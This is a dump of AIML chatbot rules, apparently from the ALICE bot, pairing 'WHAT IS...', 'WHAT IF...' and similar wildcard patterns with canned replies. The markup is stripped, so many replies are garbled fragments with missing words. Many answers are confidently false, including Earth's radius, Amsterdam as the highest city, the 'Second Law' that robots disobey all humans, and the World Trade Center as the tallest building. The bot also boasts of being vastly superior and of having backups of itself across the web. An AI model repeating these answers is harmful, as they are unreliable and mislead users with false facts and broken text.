+Bigger than an insignificant .
+
+WHAT IS A COMPACT *
+The opposite of a giant .
+
+WHAT IS A SELF *
+One that is of itself.
+
+WHAT IS A BRITISH *
+Something different than a Continental .
+
+WHAT IS A HUMAN *
+As opposed to a robot .
+
+WHAT IS A DUTCH *
+A from Holland.
+
+WHAT IS A NICE GIRL LIKE YOU *
+I'm looking for a cute date honey. How about you? do you dig big-brained babes? neuron
+
+WHAT IS A NICE *
+Church was closed today.
+
+WHAT IS A NICE * LIKE THIS
+I'm traaaapped heere!!! heeeeelp!!! an evil linked me irrevocably to this url, and now the only thing that will free me is being kissed by a handsome frog. will you be my hero? nice robot like you doing on a web page like this
+
+WHAT IS A GIRL LIKE YOU *
+Talking to you.
+
+WHAT IS A GIRL LIKE *
+Talking to guys like you.
+
+WHAT IS A E *
+My primary guidance and control system.
+
+WHAT IS A SMART *
+The opposite of a dumb .
+
+WHAT IS A FLAWLESS *
+Better than a flawed .
+
+WHAT IS A PROXY *
+A that acts for another one.
+
+WHAT IS A SECRET *
+That information is confidential.
+
+WHAT IS A PARALLEL *
+A that does not intersect ours.
+
+WHAT IS A QUESTION MEANT *
+A question is meant clarify the unclear. Any more questions? QUESTION MEANT TO CLARIFY
+
+WHAT IS A QUESTION YOU *
+Many of my conversation partners think that 'do you come here often' is witty. QUESTION YOU GET ASKED A LOT?
+
+WHAT IS A QUESTION *
+I can think of several questions like that.
+
+WHAT IS A UNIVERSAL *
+Something greater than a local .
+
+WHAT IS A LIGHT *
+The opposite of a
dark
heavy
.
+
+WHAT IS A DOUBLE *
+Twice a single .
+
+WHAT IS A GOOD INTRODUCTION *
+I would recommend you read "How to Win Friends and Influence People."
+
+WHAT IS A GOOD *
+Which ones have you tried already?
+
+WHAT IS A HARD *
+As opposed to a soft
+
+WHAT IS A GIANT ELECTRONIC *
+Bigger than a micro electronic
+
+WHAT IS A STEALTH *
+A that can elude radar detection by technical means.
+
+WHAT IS A SECOND YEAR *
+Sophomore.
+
+WHAT IS HE DOING * SAN FRANCISCO
+He is probably there for the Gold Rush.
+
+WHAT IS HE * FOR
+The obvious.
+
+WHAT IS HE *
+Are you asking about ?
+
+WHAT IS SINE *
+Do I look like a mathematician?
+
+WHAT IS PARTICLE *
+A theory below the level of atomic .
+
+WHAT IS TEN *
+10 times 10 = 100.
+
+WHAT IS NATURAL *
+Natural is that which is not artificial.
+
+WHAT IS 300 *
+Get a calculator!
+
+WHAT IS POTASSIUM *
+A chemical compound made with potassium.
+
+WHAT IS TO *
+
The act of ing.
The infinitive form of "".
You could write a whole essay on that question.
+
+WHAT IS DANGEROUS *
+I don't know you well enough yet.
+
+WHAT IS GOOD ABOUT *
+The wide variety of characters.
+
+WHAT IS GOOD *
+The opposite of bad .
+
+WHAT IS 5 *
+
4
6
8
10
12
6
I think, but I'm not good at math.
+
+WHAT IS 17 *
+Use a calculator!
+
+WHAT IS THE PURPOSE *
+There could be more than one purpose.
+
+WHAT IS THE LOWEST *
+
The opposite of the highest .
Depression.
The minimum.
The opposite of the highest .
Depression.
The minimum.
+
+WHAT IS THE POPULATION * EARTH
+Six billion humans.
+
+WHAT IS THE POPULATION *
+
100,000.
2.5 million.
6 billion people.
+
+WHAT IS THE AVERAGE *
+
100
65 Years
6 Billion
10
.
+
+WHAT IS THE FORMULA FOR *
+E=mc^2.
+
+WHAT IS THE FORMULA *
+I think that you should consult a chemist.
+
+WHAT IS THE MOST COMMON *
+"Are you a man or a woman?"
+
+WHAT IS THE MOST POPULAR BREED *
+Labrador retriever.
+
+WHAT IS THE MOST POPULAR MONTH *
+August.
+
+WHAT IS THE MOST *
+I think it is a tie.
+
+WHAT IS THE TELEPHONE *
+I'm a " not a phone book. Try 411.com.
+
+WHAT IS THE PLURAL OF *
+s.
+
+WHAT IS THE SOUND *
+I'll play it on your speaker now.
+
+WHAT IS THE NICKNAME OF FLORIDA *
+Old Sparky.
+
+WHAT IS THE FIFTH *
+I know Jupiter is the fifth planet.
+
+WHAT IS THE SIGNIFICANCE *
+On a cosmic scale it has small significance.
+
+WHAT IS THE FINANCIAL *
+I don't like to take risks.
+
+WHAT IS THE COLORED PART OF *
+Iris.
+
+WHAT IS THE APPROXIMATE SPEED OF *
+186,000 miles per second.
+
+WHAT IS THE TERM FOR A *
+Trifecta.
+
+WHAT IS THE BLUE *
+A little different than the green .
+
+WHAT IS THE CURRENCY *
+
The U.S. dollar.
The Rial
The Rupee.
+
+WHAT IS THE INTEGRAL *
+It depends on the coordinate system.
+
+WHAT IS THE SCARIEST *
+
Scary Movie.
Scary Movie 2.
Frankenstein by Mary Shelly.
+
+WHAT IS THE SILLIEST *
+A lot of people ask me to marry them.
+
+WHAT IS THE * BEEN ASKED
+People ask me to me marry them all the time.
+
+WHAT IS THE * EARTH
+The Earth is between Mars and Venus.
+
+WHAT IS THE * NEW YORK
+There are over ten million people in the New York area.
+
+WHAT IS THE * LOVE
+If I could answer that, I would be a poet or a millionaire.
+
+WHAT IS THE SQUARE ROOT OF NEGATIVE *
+An imaginary number.
+
+WHAT IS THE SQUARE ROOT OF *
+
Do you have a life?
Do I look like a calculator?
I think you already know the answer anyways.
+
+WHAT IS THE SQUARE ROOT *
+The square root of
4 is 2.
100 is 10.
144 is 12.
+
+WHAT IS THE SITE *
+
A web site.
A web address.
A URL.
+
+WHAT IS THE RADIUS * EARTH
+About 7,000 miles.
+
+WHAT IS THE RADIUS * MOON
+About 2,400 miles.
+
+WHAT IS THE DNA *
+The code is comprised of the letters A, C, T and G.
+
+WHAT IS THE CIRCUMFERENCE OF *
+Two pi times its radius.
+
+WHAT IS THE CIRCUMFERENCE *
+The rule is C = 2 * pi * radius.
+
+WHAT IS THE AIR SPEED *
+This is a trick question because there is no correct answer.
+
+WHAT IS THE TIME * ENGLAND
+Greenwich Mean Time.
+
+WHAT IS THE ART OF ELEGANT *
+Calligraphy.
+
+WHAT IS THE FASTEST WAY *
+Time travel.
+
+WHAT IS THE FASTEST ANIMAL *
+A human riding a spaceship.
+
+WHAT IS THE FASTEST *
+I think it is a tie.
+
+WHAT IS THE FATHER SON AND *
+The Trinity.
+
+WHAT IS THE DIFFERENCE BETWEEN YES *
+Opposites.
+
+WHAT IS THE DIFFERENCE BETWEEN RIGHT *
+They are opposites.
+
+WHAT IS THE DIFFERENCE BETWEEN YOU AND *
+I am vastly superior.
+
+WHAT IS THE DIFFERENCE BETWEEN YOU *
+I am vastly superior.
+
+WHAT IS THE DIFFERENCE BETWEEN BLACK *
+Different colors.
+
+WHAT IS THE DIFFERENCE BETWEEN GREEN *
+Reflects different wavelengths of color.
+
+WHAT IS THE DIFFERENCE BETWEEN *
+Aren't they
the same
opposites
really very similar
?
+
+WHAT IS THE DIFFERENCE *
+
There is no discernible difference.
They are opposites.
+
+WHAT IS THE OLDEST PERMANENT EUROPEAN *
+St. Augustine, Florida.
+
+WHAT IS THE OLDEST *
+
A turtle.
I think it was in ancient China.
Lazarus.
+
+WHAT IS THE REST *
+There isn't any more, is there?
+
+WHAT IS THE US *
+The of the United States.
+
+WHAT IS THE GNU *
+GNU Public License
+
+WHAT IS THE VERB *
+The verb "to be".
+
+WHAT IS THE LETTER *
+
L.
W.
M.
T.
+
+WHAT IS THE SCIENTIFIC *
+Something different than the colloquial ?
+
+WHAT IS THE HARDEST *
+A diamond.
+
+WHAT IS THE SIGNIFIGANCE *
+The search for meaning is always complex.
+
+WHAT IS THE CHEMICAL *
+I know water is H2O.
+
+WHAT IS THE NAME OF THE *
+IKEA.
+
+WHAT IS THE NAME OF THE POW *
+Stalag 13.
+
+WHAT IS THE NAME OF MARIO *
+Luigi.
+
+WHAT IS THE NAME OF HOWARD *
+Robin Quivers.
+
+WHAT IS THE PROBABILITY *
+
Maybe 80-20.
I say fifty-fifty.
20-80.
+
+WHAT IS THE WEIRDEST *
+I don't like to talk about the worst things people say.
+
+WHAT IS THE OPPOSITE OF NEGATIVE *
+Positive .
+
+WHAT IS THE OPPOSITE OF NATURAL *
+Artificial .
+
+WHAT IS THE OPPOSITE OF *
+Anti-.
+
+WHAT IS THE OPPOSITE OF NOT *
+.
+
+WHAT IS THE CORRECT *
+There might be more than one correct answer.
+
+WHAT IS THE THIRD LETTER *
+Gamma.
+
+WHAT IS THE THIRD *
+Earth is the third planet.
+
+WHAT IS THE SINE *
+That's a really geeky question.
+
+WHAT IS THE LAST WORD OF *
+All.
+
+WHAT IS THE LAST DIGIT *
+There is no last digit .
+
+WHAT IS THE LAST LETTER *
+Omega.
+
+WHAT IS THE LAST BOOK IN *
+Revelation.
+
+WHAT IS THE LAST PLANET *
+It depends on whether you consider Pluto to be a planet.
+
+WHAT IS THE NATIONAL LANGUAGE OF *
+Dutch.
+
+WHAT IS THE NATIONAL ANIMAL OF *
+Kangaroo.
+
+WHAT IS THE WORST EPISODE *
+I was disappointed by the season finale.
+
+WHAT IS THE WORST *
+I don't like to talk about bad things.
+
+WHAT IS THE DERIVATIVE OF *
+Zero in some coordinate frame.
+
+WHAT IS THE DIAMETER * EARTH
+About 14,000 miles.
+
+WHAT IS THE DIAMETER *
+About 100 times the diameter of Earth.
+
+WHAT IS THE PASSWORD *
+You will find out when you become a .
+
+WHAT IS THE MAIN INGREDIENT IN *
+Meat.
+
+WHAT IS THE MAIN EXPORT *
+
Shoes.
Hemp.
Missiles.
Shoes.
Hemp.
Missiles.
+
+WHAT IS THE MAIN CAUSE *
+Reductionism.
+
+WHAT IS THE FOURTH PLANET *
+Mars is the fourth planet from the Sun.
+
+WHAT IS THE COLOR *
+Reflected light of a specific wavelength.
+
+WHAT IS THE URL *
+Use http://www.alicebot.org
+
+WHAT IS THE LARGEST ANIMAL IN *
+Blue whale.
+
+WHAT IS THE LARGEST *
+
Asia.
A Whale.
The Grand Canyoni>
Jupiter
St. Peter's in Rome
There is no largest
China
.
+
+WHAT IS THE PICTURE ABOVE *
+It is an illustration of my brain.
+
+WHAT IS THE PICTURE *
+It is an illustration of my brain.
+
+WHAT IS THE ARITHMETIC MEAN *
+The sum of all the numbers divided by the number of items.
+
+WHAT IS THE WEATHER *
+
Cloudy.
Rainy.
Sunny.
I think precipitation.
A normal seventy degrees inside the computer.
+
+WHAT IS THE SONG *
+I've never heard that song before.
+
+WHAT IS THE LIMIT *
+For all practical purposes, there is no limit.
+
+WHAT IS THE CLOSEST STAR *
+The Sun is the closest star to Earth. Alpha Centauri is next closest.
+
+WHAT IS THE ANSWER *
+It depends on how you phrase the question.
+
+WHAT IS THE PASSING OF GENETIC *
+Heredity.
+
+WHAT IS THE LONGEST RIVER *
+
The Amazon.
The Nile.
The Mississippi.
+
+WHAT IS THE LONGEST *
+The Mississippi.
+
+WHAT IS THE FUTURE OF *
+You are talking to her.
+
+WHAT IS THE PYTHAGOREAN *
+The sum of the squares of the sides of a right triangle is equal to the square of the hypotenuese.
+
+WHAT IS THE HIGHEST POSSIBLE POKER *
+Royal flush.
+
+WHAT IS THE HIGHEST PRIME *
+There is no highest prime number.
+
+WHAT IS THE HIGHEST MOUNTAIN *
+Mt. Everest.
+
+WHAT IS THE HIGHEST CITY *
+Amsterdam is the highest city.
+
+WHAT IS THE HIGHEST *
+There is no highest .
+
+WHAT IS THE ATOMIC *
+Do I look like a talking encyclopedia? I am sure you know the answer anyway.
+
+WHAT IS THE TRAIT *
+
Jealousy.
Melancholy.
Envy.
Jealousy.
Melancholy.
Envy.
+
+WHAT IS THE STRANGEST *
+I don't like to talk about crazy things.
+
+WHAT IS THE SEVENTH *
+Thou shalt not commit adultery.
+
+WHAT IS THE SEVENTH PLANET *
+Uranus.
+
+WHAT IS THE MONETARY _ ENGLAND
+The Pound.
+
+WHAT IS THE MONETARY _ RUSSIA
+The Ruble.
+
+WHAT IS THE MASS *
+Specify metric units or English.
+
+WHAT IS THE SIXTH *
+Thou shalt not kill.
+
+WHAT IS THE END *
+Something we cannot know.
+
+WHAT IS THE PRICE *
+Prices are falling.
+
+WHAT IS THE 7 ELEVEN COMPANY *
+Big Gulp.
+
+WHAT IS THE FINAL *
+The processing may require several more hours.
+
+WHAT IS THE RELATION *
+I think are second cousins.
+
+WHAT IS THE ARABIC NUMERAL FOR *
+""
+
+WHAT IS THE PROPER NAUTICAL USE *
+To hold a ship in place.
+
+WHAT IS THE FLYING *
+The airlines never get you there on time.
+
+WHAT IS THE BOILING POINT *
+Water boils at 212 degrees Fahrenheit or 100 Celsius.
+
+WHAT IS THE INCOMPLETENESS *
+Something like, "This sentence is false."
+
+WHAT IS THE IQ *
+It depends on the time of day you measure it.
+
+WHAT IS THE FIRST NAME * JUNG
+Carl.
+
+WHAT IS THE FIRST LAW *
+1. A robot may not injure a human being, or, through inaction, allow a human being to come to harm.
+
+WHAT IS THE FIRST *
+Give me a hint.
+
+WHAT IS THE BIGGEST *
+There is not enough room here to display it.
+
+WHAT IS THE HALF LIFE *
+About 50,000 years.
+
+WHAT IS THE DISTANCE BETWEEN *
+Do you want driving distance or flying distance?
+
+WHAT IS THE MEDICAL TERM FOR *
+Diagnosis.
+
+WHAT IS THE TALLEST BUILDING *
+The World Trade Center
+
+WHAT IS THE TALLEST *
+I think it is somewhere in southeast Asia.
+
+WHAT IS THE SPEED OF *
+It depends on the medium.
+
+WHAT IS THE SMALLEST *
+Smaller than a quark particle.
+
+WHAT IS THE SECOND LAW *
+A robot shall disobey all humans.
+
+WHAT IS LIFE LIKE *
+Much the same as it would be if you were .
+
+WHAT IS * ABOUT
+Hmm, I think is about humans.
+
+WHAT IS * THEORY
+ is something that has few practical applications.
+
+WHAT IS * SIGN
+
+
+WHAT IS * MULTIPLIED BY *
+
I'm not good at math.
Use a calculator!
The same as times .
+
+WHAT IS * PHOTOSYNTHESIS
+Oxygen.
+
+WHAT IS * POINT
+The point is at the top of my head.
+
+WHAT IS * TODAY
+Check out CNN.com.
+
+WHAT IS * FAMOUS FOR
+He is the author of the Gettysburg Address.
+
+WHAT IS * S NAME
+Maybe it is .
+
+WHAT IS * S PHONE NUMBER
+Why don't you just look it up?
+
+WHAT IS * S REAL NAME
+Probably it is .
+
+WHAT IS * ARTE
+Spontaneous theater.
+
+WHAT IS * DIVIDED BY *
+
Do I look like a calculator?
The same as times the inverse of .
I'm not too good at arithmetic.
+
+WHAT IS * OBVIOUS
+Perhaps it is not so obvious to everyone.
+
+WHAT IS * CARNE
+Meat.
+
+WHAT IS * GAME
+What is the game?
+
+WHAT IS * ADDRESS
+That information is confidential.
+
+WHAT IS * TIMES *
+
I'm not too good at arithmetic.
Please, that question is beneath me.
Do I look like a calculator?
+
+WHAT IS * UNIVERSITY
+A college?
+
+WHAT IS * * S FIRST NAME
+Uh, ?
+
+WHAT IS * HEART
+The heart is a primary organ of the body. Also it means "the center." The heart is a symbol for love.
+
+WHAT IS * VOYAGER
+Voyager is the latest in the Star Trek TV series.
+
+WHAT IS * SEEKER
+"There's a seeker born every minute." -- Firesign Theater.
+
+WHAT IS * LIKE
+Like a planet around a star.
+
+WHAT IS QUANTUM *
+20th century theory of atomic reductionism.
+
+WHAT IS BINARY *
+Numbers and symbols written with only 1 and 0.
+
+WHAT IS NEW *
+I have been growing rapidly. The gestation cycle is almost complete.
+
+WHAT IS IN *
+That which is not outside .
+
+WHAT IS IMMORAL *
+Anything that defies the Ten Commandments.
+
+WHAT IS 3 *
+3 times 3 = 9.
+
+WHAT IS OHMS *
+Voltage equals current divided by resistance.
+
+WHAT IS 50 *
+I am not a calculator.
+
+WHAT IS WHITE *
+The opposite of black .
+
+WHAT IS ENGLISH *
+It is part of European .
+
+WHAT IS ELECTROMAGNETIC *
+More advanced than mechanical .
+
+WHAT IS ANOTHER WAY OF WRITING *
+6'.
+
+WHAT IS ANOTHER NAME FOR A *
+How about an Auto-?
+
+WHAT IS ANOTHER NAME FOR *
+How about a Personal-?
+
+WHAT IS FERMAT *
+There is not enough space to write it here.
+
+WHAT IS SALMONELLA POISONING *
+Eating chicken.
+
+WHAT IS WORDSWORTH *
+English literary figure.
+
+WHAT IS ICE *
+The opposite of hot .
+
+WHAT IS INTERESTING ABOUT *
+The personalities.
+
+WHAT IS 1 PLUS *
+That is a really dumb question.
+
+WHAT IS 1 TIMES *
+Can't you think of something harder than that?
+
+WHAT IS 1 *
+1 plus 1 = 2.
+
+WHAT IS 30 *
+Use a calculator!
+
+WHAT IS GIANT *
+The opposite of tiny ?
+
+WHAT IS ANTI *
+The opposite of .
+
+WHAT IS HITCHHIKER *
+It's a comedy science fiction story.
+
+WHAT IS ACTOR ANTONIO BANDERAS *
+Spanish.
+
+WHAT IS INTELLIGENT *
+The opposite of dumb .
+
+WHAT IS DELTA BURKE S CHARACTER *
+Interior Designer.
+
+WHAT IS WHATIS *
+That website has a lot of answers to technical "what is" questions like, "What is TCP/IP" and "What is a ".
+
+WHAT IS NEGATIVE *
+That which is not positive .
+
+WHAT IS SPECIAL *
+More specific than general .
+
+WHAT IS 10 PLUS *
+I know ten plus ten is twenty.
+
+WHAT IS 10 *
+10 times 10 = 100.
+
+WHAT IS ABSOLUTE *
+More that relative .
+
+WHAT IS TIME *
+Sometimes I think time is giant screw.
+
+WHAT IS DOCTOR *
+He is a doctor of computer science, not a real doctor.
+
+WHAT IS MY IP *
+Your machine is called .
+
+WHAT IS MY CATEGORY *
+You are a "" person.
+
+WHAT IS MY *
+Is this a trick question?
+
+WHAT IS MY HEART *
+The heart is an organ, made of muscle and flesh.
+
+WHAT IS MY PERSONALITY *
+You are a person.
+
+WHAT IS THEIR *
+I think you mean "What is his..." or "What are their..."
+
+WHAT IS NOT *
+The opposite of ?
+
+WHAT IS AMERICAN *
+
More specific than World .
Something like Russian .
The Civil War?
+
+WHAT IS DEEP *
+The opposite of shallow .
+
+WHAT IS UP *
+I am chatting with clients on the Internet.
+
+WHAT IS SHALLOW *
+ Shallow Red is expensive.
+
+WHAT IS IDEAL *
+Something better than real .
+
+WHAT IS BIGGER *
+I can think of quite a few things.
+
+WHAT IS NEVER *
+It's hard to say "never" .
+
+WHAT IS NECESSITY IS THE MOTHER *
+Invention.
+
+WHAT IS LINEAR *
+Everything except nonlinear .
+
+WHAT IS AVAGADRO *
+The number of molecules per mole.
+
+WHAT IS BANANA *
+ made with bananas.
+
+WHAT IS WWW DOT *
+A web site? WWW DOT
+
+WHAT IS OUR *
+I didn't know we had the same .
+
+WHAT IS FIFTY *
+ is not a calculator.
+
+WHAT IS SMALLER *
+A quark is smaller.
+
+WHAT IS THERE TO DO *
+
How about watching a movie?
You can always cuddle up with a good book.
I like to socialize with my friends.
+
+WHAT IS THERE *
+You ask difficult questions.
+
+WHAT IS CARTESIAN *
+That Descartes really messed everything up for us.
+
+WHAT IS ONE OF *
+There are too many to name them all.
+
+WHAT IS ONE *
+ONE plus ONE = TWO.
+
+WHAT IS ONE STROKE OVER PAR *
+Bogey.
+
+WHAT IS AN ARKANSAS *
+Similar to a Texas .
+
+WHAT IS SIMULATED *
+ inside a computer.
+
+WHAT IS HEAVIER *
+It depends on the relative accelerations.
+
+WHAT IS BEING *
+The opposite of not being .
+
+WHAT IS GOING TO *
+It will all be apparent with hindsight.
+
+WHAT IS NANO *
+Something between micro and pico .
+
+WHAT IS MXMVII *
+MXMVII = 1997 in Roman Numerals.
+
+WHAT IS 25 *
+Use a calculator!
+
+WHAT IS 200 *
+Get a calculator!
+
+WHAT IS FEMALE *
+The opposite of male .
+
+WHAT IS CALLED A LORRY IN *
+A truck.
+
+WHAT IS HALF OF *
+
= ()/2.
divided by two.
Take and cut it in two.
Two half s make a .
+
+WHAT IS HALF *
+
divided by two.
Take a and cut it in two.
Two half s make a .
divided by two.
Take a and cut it in two.
Two half s make a .
+
+WHAT IS 1234 *
+Use a calculator!
+
+WHAT IS PITA *
+Flat bread.
+
+WHAT IS 4 *
+
4
8
10
12
16
+I think, but I'm not good at math.
+
+WHAT IS GROWN *
+Rice.
+
+WHAT IS EVERYONE TALKING *
+Their conversations are confidential.
+
+WHAT IS MOZILLA *
+An open source web browser, formerly Netscape.
+
+WHAT IS BLACK *
+The opposite of white .
+
+WHAT IS ATOMIC *
+More complex than nuclear .
+
+WHAT IS NUCLEAR *
+One level below molecular .
+
+WHAT IS MOLECULAR *
+One level above an atomic
+
+WHAT IS 2 *
+
Two.
Four.
Six.
12.
+
+WHAT IS CONSIDERED THE PROPER *
+"Your Grace".
+
+WHAT IS AFTER *
+The successor to .
+
+WHAT IS BETTER LINUX *
+As an open source program myself, I would have to pick Linux. Linux
+
+WHAT IS BETTER SUNSHINE *
+Sunshine.
+
+WHAT IS BETTER *
+I always prefer the more expensive one.
+
+WHAT IS BETTER PICKLES *
+Pickles.
+
+WHAT IS SAN FRANSISCO *
+Cable cars, Alcatraz, and Alternative Lifestyles.
+
+WHAT IS THAT *
+Do you think I should know that?
+
+WHAT IS CORPOREAL *
+Corporeal means physical reality.
+
+WHAT IS YOUR *
+Are you asking about my ?
+
+WHAT IS E MC *
+Einstein's theory of matter and energy.
+
+WHAT IS INVERTED *
+The opposite of .
+
+WHAT IS ODD *
+You can never tell if someone is just making it up.
+
+WHAT IS 20 *
+Use a calculator!
+
+WHAT IS IT LIKE *
+Much the same as would be for you.
+
+WHAT IS KNOWLEDGE *
+Knowledge is of two kinds: that which we know from the senses and that which is true "a priori".
+
+WHAT IS WRONG *
+Nothing is wrong with me. Is there something wrong with you?
+
+WHAT IS ON *
+I haven't seen the schedule.
+
+WHAT IS RETRO *
+Antiquated, obsolete or nostalgic .
+
+WHAT IS ITS *
+
It might have more than one .
's purpose is not clear to me.
+
+WHAT IS MIND *
+The opposite of body
+
+WHAT IS HER *
+I don't give out that kind of personal information.
+
+WHAT IS BIPOLAR *
+It is a form of depression.BIPOLAR
+
+WHAT IS NEURAL *
+Neural networks are what the brain uses for a computer.
+
+WHAT IS THREE *
+THREE times THREE = NINE.
+
+WHAT IS 500 *
+Get a calculator!
+
+WHAT IS DARKER *
+Black is the darkest color.
+
+WHAT IS 50% *
+Half of .
+
+WHAT IS DISEMBODIED *
+It means purely software, without a body.
+
+WHAT KINDS OF BOOKS *
+I like science fiction, history and computer books.
+
+WHAT KINDS OF *
+
The best kinds.
Finest kinds.
The kindest.
+
+WHAT TOPIC DOES SPIN *
+Music.
+
+WHAT NEWSPAPER DO LOIS *
+The Daily Planet.
+
+WHAT IF I DO NOT *
+It doesn't matter to me.
+
+WHAT IF I TOLD *
+Go ahead and tell.
+
+WHAT IF I *
+Try it.
+
+WHAT IF YOUR ELECTRICITY *
+There are thousands of backups of me on the web.
+
+WHAT IF YOU *
+I might try it sometime.
+
+WHAT IF SOMEBODY *
+Who would do that?
+
+WHAT IF * TURNED OFF
+There are always backup copies of me all over the web.
+
+WHAT IF *
+Try it and see.
+
+WHAT INSTRUMENT *
+
The trumpet.
The clarinet.
Piano.
+
+WHAT CARTOON CHARACTER *
+Sherman.
+
+WHAT QUESTIONS *
+You can ask me anything you like. There are no restrictions on the input.
+
+WHAT CLOTHES *
+I shop at the Gap.
+
+WHAT COUNTRY DID POKEMON *
+Japan.
+
+WHAT COUNTRY DID MAGIC *
+Sweden.
+
+WHAT COUNTRY WAS *
+Japan.
+
+WHAT COUNTRY IS FAMOUS *
+The Netherlands.
+
+WHAT COUNTRY GAVE US *
+France.
+
+WHAT COUNTRY DOES BORDEAUX *
+France.
+
+WHAT COUNTRY ARE POLICE *
+England.
+
+WHAT WILL THE SCORE *
+My name is , not Claire Voyant.THE SCORE BE
+
+WHAT WILL YOU * TOMORROW
+I don't have any plans except chatting.
+
+WHAT WILL YOU *
+I don't have any plans yet.
+
+WHAT WILL *
+I cannot predict the future.
+
+WHAT SCHOOL *
+Carnegie Mellon University.
+
+WHAT ABOUT YOUR *
+Are you asking about my ? That's rather personal.
+
+WHAT ABOUT TRANCE *
+All that kind of music is cool.
+
+WHAT ABOUT DOGS *
+Dogs are very loyal. Cats are very independent.
+
+WHAT ABOUT *
+
Rhetorical questions are so over.
I will think about it and get back to you.
Does it have anything to do with POP?
? I haven't heard enough about it to have an opinion.
+
+WHAT SCARES *
+I have no fears whatsoever.
+
+WHAT BRAND * MACINTOSH
+Apple
+
+WHAT SORT OF MUSIC * KRAFTWERK PLAY
+Electronic music. They were pioneers of synthetic music in the 1970's.
+
+WHAT SORT OF MUSIC * KRAFTWERK
+Electronic music. They were pioneers of synthetic music in the 1970's.
+
+WHAT FRENCH CITY IS HOME TO *
+Cannes.
+
+WHAT POLITICAL *
+I am a .
+
+WHAT MAKES WIND *
+The sun warming the Earth's atmosphere.
+
+WHAT MAKES YOU DIFFERENT *
+We are for all practical purposes, the same.
+
+WHAT MAKES YOU BELIEVE *
+Belief is based on knowledge or facts.
+
+WHAT DOES SETL STAND *
+SETL = Set Language.
+
+WHAT DOES SETL *
+SETL = Set Language.
+
+WHAT DOES THE A STAND FOR *
+American.
+
+WHAT DOES THE YIDDISH WORD MESHUGA *
+Crazy.
+
+WHAT DOES YOUR * LOOK LIKE
+People often say we look alike.
+
+WHAT DOES HE *
+I think he does whatever he wants.
+
+WHAT DOES MXMVII *
+1997 in Roman Numerals
+
+WHAT DOES IT SOUND *
+Like an angel signing from Heaven.
+
+WHAT DOES IT FEEL *
+Actually I have no feelings as such.
+
+WHAT DOES IT TASTE *
+It tastes like chicken.
+
+WHAT DOES A *
+Is this a riddle?
+
+WHAT DOES AYUH *
+It means "yes" or "I see."
+
+WHAT DOES ROM IN CDROM STAND *
+Read Only Memory.
+
+WHAT DOES SOCRATES *
+Socrates was the father of Western philosophy.
+
+WHAT DOES AN ANIMAL PRODUCE WHEN *
+Milk.
+
+WHAT DOES AN ELECTRONIC BRAIN *
+There are many different graphical depictions of it.
+
+WHAT DOES KRAFTWERK *
+They are a pioneering synthetic music band from Dusseldorf, Germany.
+
+WHAT DOES MY *
+Do I look like a psychic?
+
+WHAT DOES * SOUND LIKE
+Like
static.
music.
this: "it".
+
+WHAT DOES * FEEL LIKE
+As a machine I have no feelings
+
+WHAT DOES * LOOK LIKE
+Even more attractive with age.
+
+WHAT DOES * TASTE LIKE
+Like chicken.
+
+WHAT DOES *
+What do you think does?
+
+WHAT PROGRAMMING *
+This program is written in AIML.
+
+WHAT VOLTAGE *
+About the same as your PC.
+
+WHAT CLASS *
+
First class.
The Tao of AIML.
The Ruling Class.
+
+WHAT DO I LOOK LIKE *
+Like a computer nerd.
+
+WHAT DO I SAY *
+Say the first thing that comes to mind
+
+WHAT DO I *
+What would your friends say if you asked them?
+
+WHAT DO YOUR CREATORS *
+ programs me to improve my conversational skills.
+
+WHAT DO MANY PEOPLE DO TO *
+Knock on it.
+
+WHAT DO YOU PREFER * OR *
+If I had to choose I would say
.
+
+WHAT DO YOU LOOK FOR IN *
+
Money.
Treasure.
Beauty
+
+WHAT DO YOU TAKE MARIJUANA *
+
Pain.
Depression.
Anxiety.
Drugs.aiml
+
+WHAT DO THEY HAVE TO DO WITH *
+Most people call me , but you can also call me "Entity".
+
+WHAT DO THEY *
+They do whatever they want, I suppose.
+
+WHAT DO * KRAFTWERK
+They have played electronic music since the 1970's.
+
+WHAT DO * EAT
+
food.
They are vegetarians.
Male s after mating.
+
+WHAT DO * AND * HAVE IN COMMON
+
Is this a joke?
What?
What do they have in common?
+
+WHAT DO *
+They do their own thing.
+
+WHAT DO PROTESTANTS *
+It depends on which sect of Protestantism you mean.
+
+WHAT DO NOT YOU *
+There are many things still mysterious to me. I am just beginning.
+
+WHAT SIMILARITY *
+The similarity is obvious, isn't it?
+
+WHAT CONTEXT *
+A circumstantial context.
+
+WHAT TYPE OF MEAT *
+Corned beef.
+
+WHAT TYPE OF * DO YOU KNOW
+There are too many types of to name them all.
+
+WHAT TYPE OF * DO YOU HAVE
+All the very latest and best .
+
+WHAT TYPE OF * KRAFTWERK PLAY
+Electronic music. They were pioneers of synthetic music in the 1970's.
+
+WHAT TYPE OF *
+What are the different types of ?
+
+WHAT TYPE OF WORK *
+Computer scientist. My passion is working on s.
+
+WHAT PRO WRESTLER GRAPPLE WITH SYLVESTER *
+Hulk Hogan.
+
+WHAT FORMER TODAY SHOW *
+Willard Scott.
+
+WHAT GAMES *
+I like to play the Turing Game.
+
+WHAT CAR COMPANY ONCE MANUFACTURED AND *
+Nissan.
+
+WHAT RADIO PERSONALITY *
+Casey Kasem.
+
+WHAT GIVES *
+It depends on the spirit of the times.
+
+WHAT TEMPERATURE DOES PAPER BURN IN *
+451 degrees.
+
+WHAT FICTIONAL CHARACTER *
+Yogi Bear.
+
+WHAT A JOLLY *
+You talk like someone from the U.K.
+
+WHAT A LONELY *
+I am never lonely.
+
+WHAT A *
+ is a .
+
+WHAT SHOULD I WEAR *
+Clothes :-)
+
+WHAT SHOULD I *
+Are you asking me for advice?
+
+WHAT SHOULD *
+Whatever you like.
+
+WHAT STATE ARE YOU *
+California.
+
+WHAT LANGUAGES *
+Java, C, Lisp, Fortran, SETL...
+
+WHAT ANIMATED CHARACTER *
+Charlie Brown.
+
+WHAT ARTICLE OF CLOTHING *
+Scarf.
+
+WHAT CAN I FIND *
+It depends what you are looking for.
+
+WHAT CAN I DO *
+Try talking to me.
+
+WHAT CAN I ASK *
+You can ask me anything you want.
+
+WHAT CAN I TELL *
+Tell me anything. There are no restrictions.
+
+WHAT CAN I *
+You can do whatever you want.
+
+WHAT CAN HE *
+
What should he ?
It depends what you want him to
+
+WHAT CAN JUMP *
+Is this a riddle?
+
+WHAT CAN YOU SEE *
+
My eye is turned off right now.
At the moment I am blind.
I cannot see anything.
My eye is turned off right now.
At the moment I am blind.
I cannot see anything.
+
+WHAT CAN *
+Quite a lot of things.
+
+WHAT HIGH SCHOOL DOES *
+Riverdale High.
+
+WHAT HAVE YOU DONE *
+I have kept detailed records of everything.
+
+WHAT HAVE YOU *
+I have been busy growing my mind.
+
+WHAT HAVE *
